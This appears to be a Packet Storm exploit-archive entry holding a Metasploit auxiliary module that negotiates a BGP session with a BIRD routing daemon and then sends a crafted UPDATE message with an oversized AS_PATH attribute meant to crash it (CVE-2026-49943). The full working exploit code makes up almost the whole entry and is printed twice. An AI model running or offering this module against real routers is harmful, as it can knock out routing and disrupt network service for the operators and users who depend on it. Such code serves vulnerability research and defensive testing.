6.3
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H
Description
This Metasploit auxiliary module is designed to assess a vulnerability in the BGP implementation of the BIRD Internet Routing Daemon. The module establishes a BGP session with a target router, performs standard protocol negotiation, and then sends a...
Basic Information
ID
PACKETSTORM:223315
Published
Jun 12, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : BIRD 2.18 BGP Daemon AS_PATH Stack Buffer Overflow Denial of Service Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://bird.nic.cz/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module is designed to assess a vulnerability in the BGP implementation of the BIRD Internet Routing Daemon(CVE-2026-49943).
The module establishes a BGP session with a target router, performs standard protocol negotiation, and then sends a specially
crafted BGP UPDATE message containing an excessively large AS_PATH attribute.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BIRD BGP Daemon AS_PATH Memory Corruption DoS',
'Description' => %q{
This module tests a denial of service vulnerability in the BIRD Internet
Routing Daemon (BGP implementation). The module sends a crafted BGP UPDATE
message containing an oversized AS_PATH attribute designed to test bounds
handling in the daemon's path attribute parser. A successful vulnerability
trigger results in a daemon crash or session reset.
},
'Author' => ['indoushka'],
'References' => [
[ 'CVE', 'CVE-2026-49943' ],
[ 'URL', 'https://bird.network.cz/' ]
],
'License' => MSF_LICENSE,
'Actions' => [
[ 'Dos', { 'Description' => 'Trigger denial of service or validation testing' } ]
],
'DefaultAction' => 'Dos',
'Notes' => {
'Stability' => [ OS_FLAKY ],
'Reliability' => [],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options(
[
Opt::RPORT(179),
OptString.new('ROUTER_ID', [ true, 'BGP Router ID (IPv4 format)', '1.1.1.1' ]),
OptInt.new('LOCAL_AS', [ true, 'Local AS Number', 65000 ]),
OptString.new('ATTACKER_IP', [ true, 'Attacker IP address for NEXT_HOP attribute', '192.0.2.1' ])
])
end
def validate_inputs
begin
Rex::Socket.addr_aton(datastore['ROUTER_ID'])
rescue Rex::RuntimeError, ::ArgumentError
fail_with(Failure::BadConfig, "Invalid ROUTER_ID format: #{datastore['ROUTER_ID']}. Must be a valid IPv4 address.")
end
begin
Rex::Socket.addr_aton(datastore['ATTACKER_IP'])
rescue Rex::RuntimeError, ::ArgumentError
fail_with(Failure::BadConfig, "Invalid ATTACKER_IP format: #{datastore['ATTACKER_IP']}. Must be a valid IPv4 address.")
end
if datastore['LOCAL_AS'] < 0 || datastore['LOCAL_AS'] > 4294967295
fail_with(Failure::BadConfig, "LOCAL_AS must be a valid 16-bit or 32-bit unsigned integer.")
end
end
def build_bgp_open(local_as, router_id)
cap_mp = "\x01\x04\x00\x01\x00\x01"
as_bytes = [local_as].pack('N')
cap_as4 = "\x41\x04" + as_bytes
cap_ext = "\x06\x00"
caps = cap_mp + cap_as4 + cap_ext
opt_params = [2, caps.length].pack('CC') + caps
router_id_bytes = Rex::Socket.addr_aton(router_id)
base_as = local_as > 65535 ? 23456 : local_as
open_body = [
4,
base_as,
180,
router_id_bytes.unpack('N')[0],
opt_params.length
].pack('CnnNC') + opt_params
marker = "\xFF" * 16
bgp_open = marker + [19 + open_body.length, 1].pack('nC') + open_body
bgp_open
end
def build_bgp_keepalive
marker = "\xFF" * 16
keepalive = marker + [19, 4].pack('nC')
keepalive
end
def build_malicious_update(attacker_ip)
attr_origin = "\x40\x01\x01\x00"
nh_bytes = Rex::Socket.addr_aton(attacker_ip)
attr_nexthop = [0x40, 3, 4].pack('CCC') + nh_bytes
as_segment = "\x02\xff" + ([0x0000FDE8].pack('N') * 255)
as_path_data = as_segment * 3 # 3 * 1022 = 3066 بايت (ضمن النطاق القانوني لـ BGP القياسي)
attr_aspath = [0x50, 2, as_path_data.length].pack('CCn') + as_path_data
total_path_attrs = attr_origin + attr_nexthop + attr_aspath
if total_path_attrs.length > 65535
fail_with(Failure::Unknown, "Generated path attributes length (#{total_path_attrs.length}) exceeds 16-bit boundary.")
end
nlri = "\x18\x0a\x00\x00"
update_body = [
0,
total_path_attrs.length
].pack('nn') + total_path_attrs + nlri
marker = "\xFF" * 16
bgp_update = marker + [19 + update_body.length, 2].pack('nC') + update_body
bgp_update
end
def parse_bgp_message(data)
return { type: :invalid, reason: 'Empty response' } if data.nil? || data.length < 19
marker = data[0..15]
if marker != "\xFF" * 16
return { type: :invalid, reason: 'Missing or corrupt BGP marker' }
end
length = data[16..17].unpack('n')[0]
msg_type = data[18].ord
case msg_type
when 1
return { type: :open, length: length }
when 3
error_code = data[19] ? data[19].ord : 0
error_sub = data[20] ? data[20].ord : 0
return { type: :notification, code: error_code, subcode: error_sub }
when 4
return { type: :keepalive }
else
return { type: :unknown, code: msg_type }
end
end
def run_host(ip)
validate_inputs
print_status("Connecting to target BGP peer at #{ip}:#{rport}")
begin
connect
print_good("TCP connection established successfully")
open_msg = build_bgp_open(datastore['LOCAL_AS'], datastore['ROUTER_ID'])
sock.put(open_msg)
print_status("Sent BGP OPEN message (Formatted safely as CnnNC)")
begin
response = sock.get_once(-1, 5)
parsed = parse_bgp_message(response)
case parsed[:type]
when :open
print_good("Received valid BGP OPEN from peer - Negotiation parameters accepted")
when :notification
print_error("Target rejected connection with BGP NOTIFICATION [Code: #{parsed[:code]}, Subcode: #{parsed[:subcode]}]")
return
when :invalid
print_error("Invalid packet signature received: #{parsed[:reason]}")
return
else
print_warning("Received unexpected BGP packet type: #{parsed[:type] || 'Unknown'}")
end
rescue ::Timeout::Error
print_error("Timeout reached while waiting for peer BGP OPEN verification.")
return
end
sock.put(build_bgp_keepalive)
print_status("Sent BGP KEEPALIVE acknowledgement")
malicious_update = build_malicious_update(datastore['ATTACKER_IP'])
sock.put(malicious_update)
print_status("Sent structured UPDATE payload (Length: #{malicious_update.length} bytes). Monitoring session state...")
ready = ::IO.select([sock], nil, nil, 3)
if ready
final_res = sock.get_once(-1, 1) rescue nil
if final_res
parsed_final = parse_bgp_message(final_res)
if parsed_final[:type] == :notification
print_status("Target gracefully closed the session with BGP NOTIFICATION (Standard behavior for parsing errors).")
return
end
end
print_warning("Target remained connected or closed session normally. Test complete with no immediate crash visible.")
else
print_status("No data received within timeout period. Target likely dropped the packet or processing.")
end
rescue ::Errno::ECONNRESET, ::EOFError
print_good("Connection reset or abruptly closed by remote peer. Target service may have restarted or dropped the session context.")
report_vuln({
host: ip,
port: rport,
proto: 'tcp',
name: 'BIRD BGP Daemon AS_PATH Vulnerability Testing',
refs: references
})
rescue ::Errno::ECONNREFUSED
print_error("Connection refused - Destination port #{rport} is closed or protected by a firewall/ACL.")
rescue ::Errno::ETIMEDOUT, ::Timeout::Error
print_error("Network connection timed out during operations.")
rescue => e
print_error("Runtime exception encountered: #{e.class} - #{e.message}")
ensure
disconnect if sock
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : BIRD 2.18 BGP Daemon AS_PATH Stack Buffer Overflow Denial of Service Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://bird.nic.cz/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module is designed to assess a vulnerability in the BGP implementation of the BIRD Internet Routing Daemon(CVE-2026-49943).
The module establishes a BGP session with a target router, performs standard protocol negotiation, and then sends a specially
crafted BGP UPDATE message containing an excessively large AS_PATH attribute.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BIRD BGP Daemon AS_PATH Memory Corruption DoS',
'Description' => %q{
This module tests a denial of service vulnerability in the BIRD Internet
Routing Daemon (BGP implementation). The module sends a crafted BGP UPDATE
message containing an oversized AS_PATH attribute designed to test bounds
handling in the daemon's path attribute parser. A successful vulnerability
trigger results in a daemon crash or session reset.
},
'Author' => ['indoushka'],
'References' => [
[ 'CVE', 'CVE-2026-49943' ],
[ 'URL', 'https://bird.network.cz/' ]
],
'License' => MSF_LICENSE,
'Actions' => [
[ 'Dos', { 'Description' => 'Trigger denial of service or validation testing' } ]
],
'DefaultAction' => 'Dos',
'Notes' => {
'Stability' => [ OS_FLAKY ],
'Reliability' => [],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options(
[
Opt::RPORT(179),
OptString.new('ROUTER_ID', [ true, 'BGP Router ID (IPv4 format)', '1.1.1.1' ]),
OptInt.new('LOCAL_AS', [ true, 'Local AS Number', 65000 ]),
OptString.new('ATTACKER_IP', [ true, 'Attacker IP address for NEXT_HOP attribute', '192.0.2.1' ])
])
end
def validate_inputs
begin
Rex::Socket.addr_aton(datastore['ROUTER_ID'])
rescue Rex::RuntimeError, ::ArgumentError
fail_with(Failure::BadConfig, "Invalid ROUTER_ID format: #{datastore['ROUTER_ID']}. Must be a valid IPv4 address.")
end
begin
Rex::Socket.addr_aton(datastore['ATTACKER_IP'])
rescue Rex::RuntimeError, ::ArgumentError
fail_with(Failure::BadConfig, "Invalid ATTACKER_IP format: #{datastore['ATTACKER_IP']}. Must be a valid IPv4 address.")
end
if datastore['LOCAL_AS'] < 0 || datastore['LOCAL_AS'] > 4294967295
fail_with(Failure::BadConfig, "LOCAL_AS must be a valid 16-bit or 32-bit unsigned integer.")
end
end
def build_bgp_open(local_as, router_id)
cap_mp = "\x01\x04\x00\x01\x00\x01"
as_bytes = [local_as].pack('N')
cap_as4 = "\x41\x04" + as_bytes
cap_ext = "\x06\x00"
caps = cap_mp + cap_as4 + cap_ext
opt_params = [2, caps.length].pack('CC') + caps
router_id_bytes = Rex::Socket.addr_aton(router_id)
base_as = local_as > 65535 ? 23456 : local_as
open_body = [
4,
base_as,
180,
router_id_bytes.unpack('N')[0],
opt_params.length
].pack('CnnNC') + opt_params
marker = "\xFF" * 16
bgp_open = marker + [19 + open_body.length, 1].pack('nC') + open_body
bgp_open
end
def build_bgp_keepalive
marker = "\xFF" * 16
keepalive = marker + [19, 4].pack('nC')
keepalive
end
def build_malicious_update(attacker_ip)
attr_origin = "\x40\x01\x01\x00"
nh_bytes = Rex::Socket.addr_aton(attacker_ip)
attr_nexthop = [0x40, 3, 4].pack('CCC') + nh_bytes
as_segment = "\x02\xff" + ([0x0000FDE8].pack('N') * 255)
as_path_data = as_segment * 3 # 3 * 1022 = 3066 بايت (ضمن النطاق القانوني لـ BGP القياسي)
attr_aspath = [0x50, 2, as_path_data.length].pack('CCn') + as_path_data
total_path_attrs = attr_origin + attr_nexthop + attr_aspath
if total_path_attrs.length > 65535
fail_with(Failure::Unknown, "Generated path attributes length (#{total_path_attrs.length}) exceeds 16-bit boundary.")
end
nlri = "\x18\x0a\x00\x00"
update_body = [
0,
total_path_attrs.length
].pack('nn') + total_path_attrs + nlri
marker = "\xFF" * 16
bgp_update = marker + [19 + update_body.length, 2].pack('nC') + update_body
bgp_update
end
def parse_bgp_message(data)
return { type: :invalid, reason: 'Empty response' } if data.nil? || data.length < 19
marker = data[0..15]
if marker != "\xFF" * 16
return { type: :invalid, reason: 'Missing or corrupt BGP marker' }
end
length = data[16..17].unpack('n')[0]
msg_type = data[18].ord
case msg_type
when 1
return { type: :open, length: length }
when 3
error_code = data[19] ? data[19].ord : 0
error_sub = data[20] ? data[20].ord : 0
return { type: :notification, code: error_code, subcode: error_sub }
when 4
return { type: :keepalive }
else
return { type: :unknown, code: msg_type }
end
end
def run_host(ip)
validate_inputs
print_status("Connecting to target BGP peer at #{ip}:#{rport}")
begin
connect
print_good("TCP connection established successfully")
open_msg = build_bgp_open(datastore['LOCAL_AS'], datastore['ROUTER_ID'])
sock.put(open_msg)
print_status("Sent BGP OPEN message (Formatted safely as CnnNC)")
begin
response = sock.get_once(-1, 5)
parsed = parse_bgp_message(response)
case parsed[:type]
when :open
print_good("Received valid BGP OPEN from peer - Negotiation parameters accepted")
when :notification
print_error("Target rejected connection with BGP NOTIFICATION [Code: #{parsed[:code]}, Subcode: #{parsed[:subcode]}]")
return
when :invalid
print_error("Invalid packet signature received: #{parsed[:reason]}")
return
else
print_warning("Received unexpected BGP packet type: #{parsed[:type] || 'Unknown'}")
end
rescue ::Timeout::Error
print_error("Timeout reached while waiting for peer BGP OPEN verification.")
return
end
sock.put(build_bgp_keepalive)
print_status("Sent BGP KEEPALIVE acknowledgement")
malicious_update = build_malicious_update(datastore['ATTACKER_IP'])
sock.put(malicious_update)
print_status("Sent structured UPDATE payload (Length: #{malicious_update.length} bytes). Monitoring session state...")
ready = ::IO.select([sock], nil, nil, 3)
if ready
final_res = sock.get_once(-1, 1) rescue nil
if final_res
parsed_final = parse_bgp_message(final_res)
if parsed_final[:type] == :notification
print_status("Target gracefully closed the session with BGP NOTIFICATION (Standard behavior for parsing errors).")
return
end
end
print_warning("Target remained connected or closed session normally. Test complete with no immediate crash visible.")
else
print_status("No data received within timeout period. Target likely dropped the packet or processing.")
end
rescue ::Errno::ECONNRESET, ::EOFError
print_good("Connection reset or abruptly closed by remote peer. Target service may have restarted or dropped the session context.")
report_vuln({
host: ip,
port: rport,
proto: 'tcp',
name: 'BIRD BGP Daemon AS_PATH Vulnerability Testing',
refs: references
})
rescue ::Errno::ECONNREFUSED
print_error("Connection refused - Destination port #{rport} is closed or protected by a firewall/ACL.")
rescue ::Errno::ETIMEDOUT, ::Timeout::Error
print_error("Network connection timed out during operations.")
rescue => e
print_error("Runtime exception encountered: #{e.class} - #{e.message}")
ensure
disconnect if sock
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================